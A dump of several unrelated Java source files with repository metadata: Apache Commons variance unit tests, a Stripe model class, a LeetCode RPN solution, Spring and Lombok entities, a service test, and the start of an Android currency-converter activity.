assertTrue(Double.isNaN(var5.getVariance()));
var5.accept(3d);
assertEquals(2d, var5.getVariance(), 1E-14);
}
/** Test population version of variance. */
@Test
public void testPopulation() {
final double[] values = {-1.0d, 3.1d, 4.0d, -2.1d, 22d, 11.7d, 3d, 14d};
final double[] combArray = {-1.0d, 3.1d, 4.0d, -2.1d, 22d, 11.7d, 3d, 14d, 12.5, 12.0, 11.8,
14.2, 14.9, 14.5, 21.0, 8.2, 10.3, 11.3, 14.1, 9.9, 12.2, 12.0, 12.1, 11.0, 19.8, 11.0,
10.0, 8.8, 9.0, 12.3};
Variance v1 = getVarianceInst();
for (int i = 0; i < values.length; i++) {
v1.accept(values[i]);
}
v1.setBiasCorrected(false);
assertEquals(populationVariance(values), v1.getVariance(), 1E-14);
//population variance after combine
Variance var2 = getVarianceInst();
for (int i = 0; i < testArray.length; i++) {
var2.accept(testArray[i]);
}
// combining var1 with var2
v1.combine(var2);
// Testing getVariance(isBiasCorrected())
assertEquals(populationVariance(combArray), v1.getVariance(false), 1E-14);
}
/** Definitional formula for population variance. */
protected double populationVariance(double[] v) {
double meanVal;
double arraySum = 0;
for (int j = 0; j < v.length; j++) {
arraySum += v[j];
}
meanVal = arraySum / v.length;
double sum = 0;
for (int i = 0; i < v.length; i++) {
sum += (v[i] - meanVal) * (v[i] - meanVal);
}
return sum / v.length;
}
}
| UTF-8 | Java | 5,714 | java | VarianceTest.java | Java | []
| null | []
| /*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.commons.statistics.descriptive.moment;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertTrue;
import org.junit.jupiter.api.Test;
class VarianceTest {
protected double mean = 12.404545454545455d;
protected double combMean = 13.573076923077d;
protected double var = 10.00235930735931d;
protected double combVar = 19.812446153846d;
protected double tolerance = 10E-12;
protected double[] testArray =
{12.5, 12.0, 11.8, 14.2, 14.9, 14.5, 21.0, 8.2, 10.3, 11.3,
14.1, 9.9, 12.2, 12.0, 12.1, 11.0, 19.8, 11.0, 10.0, 8.8,
9.0, 12.3 };
/**Returns Variance instance.*/
public Variance getVarianceInst() {
return new Variance();
}
/**Expected variance value for testArray. */
public double expectedValue() {
return this.var;
}
/**Expected variance value for Combined Array of testArray and array. */
public double combExpectedValue() {
return this.combVar;
}
/**Getter for tolerance value.*/
public double getTolerance() {
return this.tolerance;
}
/**Getter for mean value of testArray.*/
public double getMean() {
return this.mean;
}
/**Getter for combined mean value of testArray and array.*/
public double getCombMean() {
return this.combMean;
}
/** Verifies that accept(), getVariance(),getN(), getMean() works properly. */
@Test
public void testVariance() {
Variance var2 = getVarianceInst();
// Add testArray one value at a time and check result
for (int i = 0; i < testArray.length; i++) {
var2.accept(testArray[i]);
}
assertEquals(expectedValue(), var2.getVariance(), getTolerance());
assertEquals(testArray.length, var2.getN());
assertEquals(getMean(), var2.getMean(), getTolerance());
}
/** Verifies that combine() works properly. */
@Test
public void testCombine() {
Variance var3 = getVarianceInst();
Variance var4 = getVarianceInst();
final double[] array = {5 * 2 + 4, 5 * 2 + 7, 5 * 2 + 13, 5 * 2 + 16};
// Add array one value at a time in var1 object and check result
for (int i = 0; i < testArray.length; i++) {
var3.accept(testArray[i]);
}
assertEquals(expectedValue(), var3.getVariance(), getTolerance());
assertEquals(testArray.length, var3.getN());
assertEquals(getMean(), var3.getMean(), getTolerance());
// Add array one value at a time in var2 object and check result
for (int i = 0; i < array.length; i++) {
var4.accept(array[i]);
}
// combining var2 with var1
var3.combine(var4);
// Testing getVariance(isBiasCorrected())
assertEquals(combExpectedValue(), var3.getVariance(true), getTolerance());
assertEquals(testArray.length + array.length, var3.getN());
assertEquals(getCombMean(), var3.getMean(), getTolerance());
}
/** Make sure Double.NaN is returned iff n = 0 or 1 */
@Test
public void testNaN() {
Variance var5 = getVarianceInst();
assertTrue(Double.isNaN(var5.getVariance()));
var5.accept(1d);
assertTrue(Double.isNaN(var5.getVariance()));
var5.accept(3d);
assertEquals(2d, var5.getVariance(), 1E-14);
}
/** Test population version of variance. */
@Test
public void testPopulation() {
final double[] values = {-1.0d, 3.1d, 4.0d, -2.1d, 22d, 11.7d, 3d, 14d};
final double[] combArray = {-1.0d, 3.1d, 4.0d, -2.1d, 22d, 11.7d, 3d, 14d, 12.5, 12.0, 11.8,
14.2, 14.9, 14.5, 21.0, 8.2, 10.3, 11.3, 14.1, 9.9, 12.2, 12.0, 12.1, 11.0, 19.8, 11.0,
10.0, 8.8, 9.0, 12.3};
Variance v1 = getVarianceInst();
for (int i = 0; i < values.length; i++) {
v1.accept(values[i]);
}
v1.setBiasCorrected(false);
assertEquals(populationVariance(values), v1.getVariance(), 1E-14);
//population variance after combine
Variance var2 = getVarianceInst();
for (int i = 0; i < testArray.length; i++) {
var2.accept(testArray[i]);
}
// combining var1 with var2
v1.combine(var2);
// Testing getVariance(isBiasCorrected())
assertEquals(populationVariance(combArray), v1.getVariance(false), 1E-14);
}
/** Definitional formula for population variance. */
protected double populationVariance(double[] v) {
double meanVal;
double arraySum = 0;
for (int j = 0; j < v.length; j++) {
arraySum += v[j];
}
meanVal = arraySum / v.length;
double sum = 0;
for (int i = 0; i < v.length; i++) {
sum += (v[i] - meanVal) * (v[i] - meanVal);
}
return sum / v.length;
}
}
| 5,714 | 0.611306 | 0.558803 | 155 | 35.864517 | 25.423656 | 101 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.025806 | false | false | 1 |
432f1d11d46733bfd0608fa256ab5b18415f24d3 | 29,703,993,885,642 | 9f826db7070759ace39bbf2ab0f7fde608852d4d | /src/main/java/com/stripe/model/EventData.java | f9a87e3e6dd6b944ce5522fcdbc1f4e77ce388a1 | [
"MIT"
]
| permissive | mahruskazi/stripe-java | https://github.com/mahruskazi/stripe-java | ba818080cc7adcd5d71a4870d3dc1055e4da70c0 | 2f9e68e3a7b8a8f07e73381188e335faa5728ae7 | refs/heads/master | 2020-03-19T00:50:47.518000 | 2018-05-30T17:48:11 | 2018-05-30T17:48:11 | null | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package com.stripe.model;
import java.util.Map;
public class EventData extends StripeObject {
StripeObject object;
Map<String, Object> previousAttributes;
public StripeObject getObject() {
return object;
}
public void setObject(StripeObject object) {
this.object = object;
}
public Map<String, Object> getPreviousAttributes() {
return previousAttributes;
}
public void setPreviousAttributes(Map<String, Object> previousAttributes) {
this.previousAttributes = previousAttributes;
}
}
| UTF-8 | Java | 525 | java | EventData.java | Java | []
| null | []
| package com.stripe.model;
import java.util.Map;
public class EventData extends StripeObject {
StripeObject object;
Map<String, Object> previousAttributes;
public StripeObject getObject() {
return object;
}
public void setObject(StripeObject object) {
this.object = object;
}
public Map<String, Object> getPreviousAttributes() {
return previousAttributes;
}
public void setPreviousAttributes(Map<String, Object> previousAttributes) {
this.previousAttributes = previousAttributes;
}
}
| 525 | 0.742857 | 0.742857 | 24 | 20.875 | 21.670473 | 77 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.458333 | false | false | 1 |
0818b2c14f38b4ea3337dc2cad27633958a4f939 | 33,861,522,211,056 | 9691af5c89bfc0fc747323e5c537d774e3d81197 | /HelloWorld/src/operators/OperatorExampleTesk.java | 5b8d6796918b44fb393e87a4f524aba546584f4b | []
| no_license | godjooyoung/HelloWorld | https://github.com/godjooyoung/HelloWorld | 6612d62900ae75463742056509a9d35171b181c2 | 9f67e837e4f417fd91cc6b227fa84f0d7c1db1c2 | refs/heads/master | 2020-11-25T07:53:36.838000 | 2020-01-02T05:03:08 | 2020-01-02T05:03:08 | 228,565,026 | 1 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package operators;
public class OperatorExampleTesk {
public static void main(String[] args) {
int result = 0;
int a = 10, b = 20;
multi(30, 40);
}
public static void multi(int a, int b) {
int result = a * b;
System.out.println("Method 결과값은 : " + result);
}
}
| UTF-8 | Java | 300 | java | OperatorExampleTesk.java | Java | []
| null | []
| package operators;
public class OperatorExampleTesk {
public static void main(String[] args) {
int result = 0;
int a = 10, b = 20;
multi(30, 40);
}
public static void multi(int a, int b) {
int result = a * b;
System.out.println("Method 결과값은 : " + result);
}
}
| 300 | 0.60274 | 0.571918 | 15 | 17.466667 | 16.341631 | 48 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.533333 | false | false | 1 |
1d2781e91ffbdbb30e12a0972bfacf4cd4b35c18 | 34,840,774,740,391 | ec246206025220b4552ae9a069863dc66139835c | /src/main/java/psi/domain/semester/control/SemesterRepository.java | 127c2b839d6d0d09ca7417f91ee595425fc7463b | []
| no_license | JaroslawPokropinski/PSI-TWWO | https://github.com/JaroslawPokropinski/PSI-TWWO | 1cd000f04cb883d56f96475c9d03cfc5f1db9521 | 13d84e454f2d51e7edb07b8172ba85e65d35147c | refs/heads/main | 2023-02-26T07:03:44.021000 | 2021-01-29T07:59:41 | 2021-01-29T07:59:41 | 306,083,151 | 0 | 0 | null | false | 2021-01-28T12:31:38 | 2020-10-21T16:25:02 | 2021-01-28T11:50:12 | 2021-01-28T12:31:37 | 5,189 | 0 | 0 | 0 | Java | false | false | package psi.domain.semester.control;
import org.springframework.data.jpa.repository.JpaRepository;
import org.springframework.data.jpa.repository.JpaSpecificationExecutor;
import org.springframework.data.repository.history.RevisionRepository;
import org.springframework.stereotype.Repository;
import psi.domain.semester.entity.Semester;
import java.util.Collection;
import java.util.List;
@Repository
public interface SemesterRepository extends JpaRepository<Semester, Long>,
JpaSpecificationExecutor<Semester>, RevisionRepository<Semester, Long, Integer> {
List<Semester> findAllByStudiesPlanIdIn(Collection<Long> studiesPlanIds);
}
| UTF-8 | Java | 651 | java | SemesterRepository.java | Java | []
| null | []
| package psi.domain.semester.control;
import org.springframework.data.jpa.repository.JpaRepository;
import org.springframework.data.jpa.repository.JpaSpecificationExecutor;
import org.springframework.data.repository.history.RevisionRepository;
import org.springframework.stereotype.Repository;
import psi.domain.semester.entity.Semester;
import java.util.Collection;
import java.util.List;
@Repository
public interface SemesterRepository extends JpaRepository<Semester, Long>,
JpaSpecificationExecutor<Semester>, RevisionRepository<Semester, Long, Integer> {
List<Semester> findAllByStudiesPlanIdIn(Collection<Long> studiesPlanIds);
}
| 651 | 0.835638 | 0.835638 | 18 | 35.166668 | 31.452345 | 89 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.777778 | false | false | 1 |
a1b07804b7cf6ba2abd9aa7186ae262de1aa2e8f | 34,136,400,119,198 | 64ad5458da9f26059de7527a8e87aaa4329564a1 | /musca-norm/src/main/java/org/featx/sta2ry/musca/entity/MentionEntity.java | 1b87a9069fc5dbdd3a3af324f0aeb32128eafca6 | []
| no_license | sta2ry/Musca | https://github.com/sta2ry/Musca | f9b0e76584c9bb0e20714043fdb07b828dd51cd8 | e0c0c493dd239328d713c6bf153cead8bd4b214f | refs/heads/coder | 2023-07-15T14:03:45.064000 | 2021-08-02T04:51:35 | 2021-08-02T04:51:35 | 391,080,192 | 0 | 1 | null | false | 2021-08-02T04:51:36 | 2021-07-30T13:47:59 | 2021-08-02T02:32:38 | 2021-08-02T04:51:35 | 364 | 0 | 0 | 0 | Java | false | false | package org.featx.sta2ry.musca.entity;
import lombok.Data;
import lombok.EqualsAndHashCode;
import lombok.ToString;
import org.featx.spec.entity.AbstractUpdate;
import java.io.Serial;
/**
* @author Excepts
* @since 2020/4/12 13:52
*/
@Data
@EqualsAndHashCode(callSuper = true)
@ToString(callSuper = true)
public class MentionEntity extends AbstractUpdate<Long> {
@Serial
private static final long serialVersionUID = -4441039419344895608L;
private String code;
private Integer type;
private Integer target;
private String targetCode;
private String userCode;
private Integer where;
private String whereCode;
}
| UTF-8 | Java | 660 | java | MentionEntity.java | Java | [
{
"context": "actUpdate;\n\nimport java.io.Serial;\n\n/**\n * @author Excepts\n * @since 2020/4/12 13:52\n */\n@Data\n@EqualsAndHas",
"end": 209,
"score": 0.9993339776992798,
"start": 202,
"tag": "USERNAME",
"value": "Excepts"
}
]
| null | []
| package org.featx.sta2ry.musca.entity;
import lombok.Data;
import lombok.EqualsAndHashCode;
import lombok.ToString;
import org.featx.spec.entity.AbstractUpdate;
import java.io.Serial;
/**
* @author Excepts
* @since 2020/4/12 13:52
*/
@Data
@EqualsAndHashCode(callSuper = true)
@ToString(callSuper = true)
public class MentionEntity extends AbstractUpdate<Long> {
@Serial
private static final long serialVersionUID = -4441039419344895608L;
private String code;
private Integer type;
private Integer target;
private String targetCode;
private String userCode;
private Integer where;
private String whereCode;
}
| 660 | 0.742424 | 0.695455 | 36 | 17.333334 | 17.890097 | 71 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.388889 | false | false | 1 |
ff2ac82b3664209da8e8503bfa5e2124ff9cccce | 37,787,122,292,703 | f2ca0fb355cc655c711285317b0616615f40016b | /Leetcode/src/main/java/leetcode/P150.java | e2b1205f8499dbf15d44838efccf0e62a51fc7fd | []
| no_license | JackPaul/leetcode | https://github.com/JackPaul/leetcode | e33ee8a430c5b6fa3dc136427945651609b5807a | 6cdd58f00b0d02a254ff15c2326f3258c9f845ee | refs/heads/master | 2020-03-27T12:23:54.282000 | 2019-06-16T15:17:43 | 2019-06-16T15:17:43 | 146,544,213 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package leetcode;
import java.util.LinkedList;
public class P150 {
public int evalRPN(String[] tokens) {
LinkedList<Integer> nums = new LinkedList<>();
int num1 = 0, num2;
for(String t : tokens) {
if(!(t.equals("+") || t.equals("-") || t.equals("*") || t.equals("/"))) {
nums.push(Integer.parseInt(t));
} else {
num1 = nums.pop();
num2 = nums.pop();
switch (t) {
case "+":
nums.push(num2 + num1);
break;
case "-":
nums.push(num2 - num1);
break;
case "*":
nums.push(num2 * num1);
break;
case "/":
nums.push(num2 / num1);
break;
default:
break;
}
}
}
return nums.pop();
}
}
| UTF-8 | Java | 751 | java | P150.java | Java | []
| null | []
| package leetcode;
import java.util.LinkedList;
public class P150 {
public int evalRPN(String[] tokens) {
LinkedList<Integer> nums = new LinkedList<>();
int num1 = 0, num2;
for(String t : tokens) {
if(!(t.equals("+") || t.equals("-") || t.equals("*") || t.equals("/"))) {
nums.push(Integer.parseInt(t));
} else {
num1 = nums.pop();
num2 = nums.pop();
switch (t) {
case "+":
nums.push(num2 + num1);
break;
case "-":
nums.push(num2 - num1);
break;
case "*":
nums.push(num2 * num1);
break;
case "/":
nums.push(num2 / num1);
break;
default:
break;
}
}
}
return nums.pop();
}
}
| 751 | 0.474035 | 0.45273 | 35 | 20.457144 | 16.201134 | 82 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 3.085714 | false | false | 1 |
268e91e9f93f17cdae5fc13bac3d87462c4e2d6e | 5,909,875,052,118 | 977058ce4935231b75bf8ae4feb5306b07210102 | /server/wechat/dpm/dpm-common/src/test/java/com/deppon/dpm/module/common/test/service/AwardServiceTest.java | 0a742f9bd2f9e7901aa7c39900ca5e4f0316055f | []
| no_license | aaeolus/first | https://github.com/aaeolus/first | ac8b0442d90afeb5b5e3dc2c6f9f11d6a8530377 | d7f9b40a1937b96d3ba4309d61048945221dd621 | refs/heads/master | 2020-06-06T20:20:26.070000 | 2019-06-19T07:30:02 | 2019-06-19T07:30:02 | 192,842,297 | 0 | 4 | null | true | 2019-06-20T03:29:24 | 2019-06-20T03:29:23 | 2019-06-19T07:36:24 | 2019-06-19T07:36:01 | 57,327 | 0 | 0 | 0 | null | false | false | package com.deppon.dpm.module.common.test.service;
import java.util.List;
import java.util.UUID;
import org.junit.Test;
import org.springframework.beans.factory.annotation.Autowired;
import com.deppon.dpm.module.common.server.interceptor.LoginInterceptor;
import com.deppon.dpm.module.common.server.service.IAwardService;
import com.deppon.dpm.module.common.shared.domain.AwardDetailEntity;
import com.deppon.dpm.module.common.shared.domain.AwardEntity;
import com.deppon.dpm.module.common.test.BaseTestCase;
public class AwardServiceTest extends BaseTestCase{
@Autowired
private IAwardService awardService;
@Test
public void test(){
LoginInterceptor loginInterceptor = new LoginInterceptor();
loginInterceptor.getJdbcTemplate();
}
@Test
public void testGetAwardList(){
List<AwardEntity> list = awardService.getAwardList(0, 10);
System.out.println(list.size());
}
@Test
public void testGetAwardDetail(){
List<AwardDetailEntity> list = awardService.getAwardDetail("article1", 0, 10);
System.out.println(list.size());
}
@Test
public void testInsertReply(){
AwardDetailEntity entity = new AwardDetailEntity();
entity.setArticleID("article7");
entity.setUserId("292520");
entity.setToUserId("高端人才招聘组");
entity.setSendContent("嘻嘻嘻嘻");
int i = awardService.insertReply(entity);
System.out.println(i);
}
@Test
public void testInsertRecord(){
String articleID = "article7";
String userId = "292520";
int i = awardService.insertRecord(articleID, userId);
System.out.println(i);
}
@Test
public void testSetReadingQuantityById(){
String articleID = "article4";
int i = awardService.setReadingQuantityById(articleID);
System.out.println(i);
}
@Test
public void testInsertAward(){
AwardEntity entity = new AwardEntity();
entity.setArticleID(UUID.randomUUID().toString());
entity.setPublisher("移动办公开发组");
entity.setPublisherEmail("peter@depponmail.com");
entity.setRecruitPosition("HTML5开发工程师招聘");
entity.setTitle("HTML5开发工程师招聘");
entity.setContent("1、掌握各类前端技术,如XHTML/XML/CSS/,了解WEB标准化、性能优化方法,了解可用性、可访问性和安全性");
entity.setHasAward(true);
entity.setReward("500-5000元");
entity.setContactPerson("候广澎");
entity.setContactPhone("13953128015");
int i = awardService.insertAward(entity);
System.out.println(i);
}
@Test
public void testDeleteAward(){
AwardEntity entity = new AwardEntity();
entity.setArticleID("article5");
int i = awardService.deleteAward(entity);
System.out.println(i);
}
@Test
public void testUpdateAward(){
AwardEntity entity = new AwardEntity();
entity.setArticleID("article4");
entity.setTitle("招聘移动开发高级工程师");
int i = awardService.updateAward(entity);
System.out.println(i);
}
@Test
public void testGetAwardEntity(){
AwardEntity entity = new AwardEntity();
entity.setArticleID("article4");
AwardEntity awardEntity = awardService.getAwardEntity(entity);
System.out.println(awardEntity);
}
}
| UTF-8 | Java | 3,117 | java | AwardServiceTest.java | Java | [
{
"context": "Publisher(\"移动办公开发组\");\n\t\tentity.setPublisherEmail(\"peter@depponmail.com\");\n\t\tentity.setRecruitPosition(\"HTML5开发工程师招聘\");\n\t",
"end": 1930,
"score": 0.9999303817749023,
"start": 1910,
"tag": "EMAIL",
"value": "peter@depponmail.com"
},
{
"context": "etReward(\"500-5000元\");\n\t\tentity.setContactPerson(\"候广澎\");\n\t\tentity.setContactPhone(\"13953128015\");\n\t\tint",
"end": 2187,
"score": 0.9975587129592896,
"start": 2184,
"tag": "NAME",
"value": "候广澎"
}
]
| null | []
| package com.deppon.dpm.module.common.test.service;
import java.util.List;
import java.util.UUID;
import org.junit.Test;
import org.springframework.beans.factory.annotation.Autowired;
import com.deppon.dpm.module.common.server.interceptor.LoginInterceptor;
import com.deppon.dpm.module.common.server.service.IAwardService;
import com.deppon.dpm.module.common.shared.domain.AwardDetailEntity;
import com.deppon.dpm.module.common.shared.domain.AwardEntity;
import com.deppon.dpm.module.common.test.BaseTestCase;
public class AwardServiceTest extends BaseTestCase{
@Autowired
private IAwardService awardService;
@Test
public void test(){
LoginInterceptor loginInterceptor = new LoginInterceptor();
loginInterceptor.getJdbcTemplate();
}
@Test
public void testGetAwardList(){
List<AwardEntity> list = awardService.getAwardList(0, 10);
System.out.println(list.size());
}
@Test
public void testGetAwardDetail(){
List<AwardDetailEntity> list = awardService.getAwardDetail("article1", 0, 10);
System.out.println(list.size());
}
@Test
public void testInsertReply(){
AwardDetailEntity entity = new AwardDetailEntity();
entity.setArticleID("article7");
entity.setUserId("292520");
entity.setToUserId("高端人才招聘组");
entity.setSendContent("嘻嘻嘻嘻");
int i = awardService.insertReply(entity);
System.out.println(i);
}
@Test
public void testInsertRecord(){
String articleID = "article7";
String userId = "292520";
int i = awardService.insertRecord(articleID, userId);
System.out.println(i);
}
@Test
public void testSetReadingQuantityById(){
String articleID = "article4";
int i = awardService.setReadingQuantityById(articleID);
System.out.println(i);
}
@Test
public void testInsertAward(){
AwardEntity entity = new AwardEntity();
entity.setArticleID(UUID.randomUUID().toString());
entity.setPublisher("移动办公开发组");
entity.setPublisherEmail("<EMAIL>");
entity.setRecruitPosition("HTML5开发工程师招聘");
entity.setTitle("HTML5开发工程师招聘");
entity.setContent("1、掌握各类前端技术,如XHTML/XML/CSS/,了解WEB标准化、性能优化方法,了解可用性、可访问性和安全性");
entity.setHasAward(true);
entity.setReward("500-5000元");
entity.setContactPerson("候广澎");
entity.setContactPhone("13953128015");
int i = awardService.insertAward(entity);
System.out.println(i);
}
@Test
public void testDeleteAward(){
AwardEntity entity = new AwardEntity();
entity.setArticleID("article5");
int i = awardService.deleteAward(entity);
System.out.println(i);
}
@Test
public void testUpdateAward(){
AwardEntity entity = new AwardEntity();
entity.setArticleID("article4");
entity.setTitle("招聘移动开发高级工程师");
int i = awardService.updateAward(entity);
System.out.println(i);
}
@Test
public void testGetAwardEntity(){
AwardEntity entity = new AwardEntity();
entity.setArticleID("article4");
AwardEntity awardEntity = awardService.getAwardEntity(entity);
System.out.println(awardEntity);
}
}
| 3,104 | 0.753141 | 0.737521 | 107 | 26.523365 | 21.464748 | 81 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.850467 | false | false | 1 |
77f29cbfc46822fd882a69a99e4447bea4c959e8 | 893,353,266,916 | 8239f96a4bbf5f23c2e4bc0271f11021d77236e3 | /app/src/main/java/mnz/creatori/converter/MainActivity.java | e5f1ece8ddcdbd5b1c556b168ad7e64d414d83d8 | []
| no_license | miller7777777/converter | https://github.com/miller7777777/converter | 9138be5b316c11913d9c281367b217d712563fd8 | e0573906d24b00f76f99fca8215e2f0f65b4a343 | refs/heads/master | 2020-04-05T13:38:51.087000 | 2017-08-25T21:31:13 | 2017-08-25T21:31:13 | 94,941,258 | 1 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package mnz.creatori.converter;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.text.Editable;
import android.text.InputType;
import android.text.TextWatcher;
import android.view.View;
import android.widget.AdapterView;
import android.widget.ArrayAdapter;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Spinner;
import android.widget.TextView;
import android.widget.Toast;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
import mnz.creatori.converter.Entity.Valute;
import mnz.creatori.converter.SharPref.SharPrefHelper;
import mnz.creatori.converter.databases.Database;
import mnz.creatori.converter.logic.ExchangeCalculator;
import mnz.creatori.converter.network.NetworkHelper;
public class MainActivity extends AppCompatActivity {
private TextView tvInfo;
private TextView tvFinishCurrencySum;
private TextView tvUpdInfo;
private EditText etStartCurrencySum;
private Spinner currencyStartType;
private Spinner currencyFinishType;
private Button computeBtn;
private NetworkHelper networkHelper;
private SharPrefHelper sharPrefHelper;
private List<Valute> valutes;
private List<String> valuteNames;
private Database db;
private ExchangeCalculator exchangeCalculator;
private String valStart;
private String valFinish;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
networkHelper = new NetworkHelper(this);
db = new Database(this);
sharPrefHelper = new SharPrefHelper(this);
valutes = networkHelper.getValutes();
valuteNames = networkHelper.getValuteNames();
if (valuteNames.size() == 1) {
showMessage("Network error!");
valutes = db.getValutes();
valuteNames = db.getValuteNames();
} else {
db.update(valutes);
sharPrefHelper.setUpdateDate();
}
Collections.sort(valuteNames);
String[] names = new String[valuteNames.size()];
names = valuteNames.toArray(names);
ArrayAdapter<String> adapter = new ArrayAdapter<String>(this, android.R.layout.simple_spinner_item, names);
adapter.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);
tvInfo = (TextView) findViewById(R.id.tv_info);
tvUpdInfo = (TextView) findViewById(R.id.tv_upd_info);
tvFinishCurrencySum = (TextView) findViewById(R.id.tv_finish_currency_sum);
etStartCurrencySum = (EditText) findViewById(R.id.et_start_currency_sum);
currencyStartType = (Spinner) findViewById(R.id.et_start_currency_type);
currencyFinishType = (Spinner) findViewById(R.id.et_finish_currency_type);
computeBtn = (Button) findViewById(R.id.btn_compute);
computeBtn.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
compute();
}
});
computeBtn.setEnabled(false);
tvUpdInfo.setText(sharPrefHelper.getUpdateInfo());
currencyStartType.setAdapter(adapter);
currencyFinishType.setAdapter(adapter);
currencyStartType.setPrompt("Start Valute");
currencyFinishType.setPrompt("Finish Valute");
etStartCurrencySum.setInputType(InputType.TYPE_CLASS_NUMBER | InputType.TYPE_NUMBER_FLAG_DECIMAL);
etStartCurrencySum.addTextChangedListener(new TextWatcher() {
@Override
public void beforeTextChanged(CharSequence charSequence, int i, int i1, int i2) {
}
@Override
public void onTextChanged(CharSequence charSequence, int i, int i1, int i2) {
tvFinishCurrencySum.setText("?");
}
@Override
public void afterTextChanged(Editable editable) {
if (etStartCurrencySum.getText().toString().length() > 0) {
computeBtn.setEnabled(true);
} else {
computeBtn.setEnabled(false);
tvFinishCurrencySum.setText("?");
}
}
});
final String[] finalNames = names;
currencyStartType.setOnItemSelectedListener(new AdapterView.OnItemSelectedListener() {
@Override
public void onItemSelected(AdapterView<?> adapterView, View view, int position, long id) {
valStart = finalNames[position];
}
@Override
public void onNothingSelected(AdapterView<?> adapterView) {
}
});
final String[] finalNames1 = names;
currencyFinishType.setOnItemSelectedListener(new AdapterView.OnItemSelectedListener() {
@Override
public void onItemSelected(AdapterView<?> adapterView, View view, int position, long id) {
valFinish = finalNames1[position];
}
@Override
public void onNothingSelected(AdapterView<?> adapterView) {
}
});
}
private void compute() {
exchangeCalculator = new ExchangeCalculator(valutes);
tvFinishCurrencySum.setText(exchangeCalculator.getResult(etStartCurrencySum.getText().toString(), valStart, valFinish));
}
private void showMessage(String message) {
Toast.makeText(this, message, Toast.LENGTH_SHORT).show();
//TODO: сделать SnackBar
}
}
| UTF-8 | Java | 5,582 | java | MainActivity.java | Java | []
| null | []
| package mnz.creatori.converter;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.text.Editable;
import android.text.InputType;
import android.text.TextWatcher;
import android.view.View;
import android.widget.AdapterView;
import android.widget.ArrayAdapter;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Spinner;
import android.widget.TextView;
import android.widget.Toast;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
import mnz.creatori.converter.Entity.Valute;
import mnz.creatori.converter.SharPref.SharPrefHelper;
import mnz.creatori.converter.databases.Database;
import mnz.creatori.converter.logic.ExchangeCalculator;
import mnz.creatori.converter.network.NetworkHelper;
public class MainActivity extends AppCompatActivity {
private TextView tvInfo;
private TextView tvFinishCurrencySum;
private TextView tvUpdInfo;
private EditText etStartCurrencySum;
private Spinner currencyStartType;
private Spinner currencyFinishType;
private Button computeBtn;
private NetworkHelper networkHelper;
private SharPrefHelper sharPrefHelper;
private List<Valute> valutes;
private List<String> valuteNames;
private Database db;
private ExchangeCalculator exchangeCalculator;
private String valStart;
private String valFinish;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
networkHelper = new NetworkHelper(this);
db = new Database(this);
sharPrefHelper = new SharPrefHelper(this);
valutes = networkHelper.getValutes();
valuteNames = networkHelper.getValuteNames();
if (valuteNames.size() == 1) {
showMessage("Network error!");
valutes = db.getValutes();
valuteNames = db.getValuteNames();
} else {
db.update(valutes);
sharPrefHelper.setUpdateDate();
}
Collections.sort(valuteNames);
String[] names = new String[valuteNames.size()];
names = valuteNames.toArray(names);
ArrayAdapter<String> adapter = new ArrayAdapter<String>(this, android.R.layout.simple_spinner_item, names);
adapter.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);
tvInfo = (TextView) findViewById(R.id.tv_info);
tvUpdInfo = (TextView) findViewById(R.id.tv_upd_info);
tvFinishCurrencySum = (TextView) findViewById(R.id.tv_finish_currency_sum);
etStartCurrencySum = (EditText) findViewById(R.id.et_start_currency_sum);
currencyStartType = (Spinner) findViewById(R.id.et_start_currency_type);
currencyFinishType = (Spinner) findViewById(R.id.et_finish_currency_type);
computeBtn = (Button) findViewById(R.id.btn_compute);
computeBtn.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
compute();
}
});
computeBtn.setEnabled(false);
tvUpdInfo.setText(sharPrefHelper.getUpdateInfo());
currencyStartType.setAdapter(adapter);
currencyFinishType.setAdapter(adapter);
currencyStartType.setPrompt("Start Valute");
currencyFinishType.setPrompt("Finish Valute");
etStartCurrencySum.setInputType(InputType.TYPE_CLASS_NUMBER | InputType.TYPE_NUMBER_FLAG_DECIMAL);
etStartCurrencySum.addTextChangedListener(new TextWatcher() {
@Override
public void beforeTextChanged(CharSequence charSequence, int i, int i1, int i2) {
}
@Override
public void onTextChanged(CharSequence charSequence, int i, int i1, int i2) {
tvFinishCurrencySum.setText("?");
}
@Override
public void afterTextChanged(Editable editable) {
if (etStartCurrencySum.getText().toString().length() > 0) {
computeBtn.setEnabled(true);
} else {
computeBtn.setEnabled(false);
tvFinishCurrencySum.setText("?");
}
}
});
final String[] finalNames = names;
currencyStartType.setOnItemSelectedListener(new AdapterView.OnItemSelectedListener() {
@Override
public void onItemSelected(AdapterView<?> adapterView, View view, int position, long id) {
valStart = finalNames[position];
}
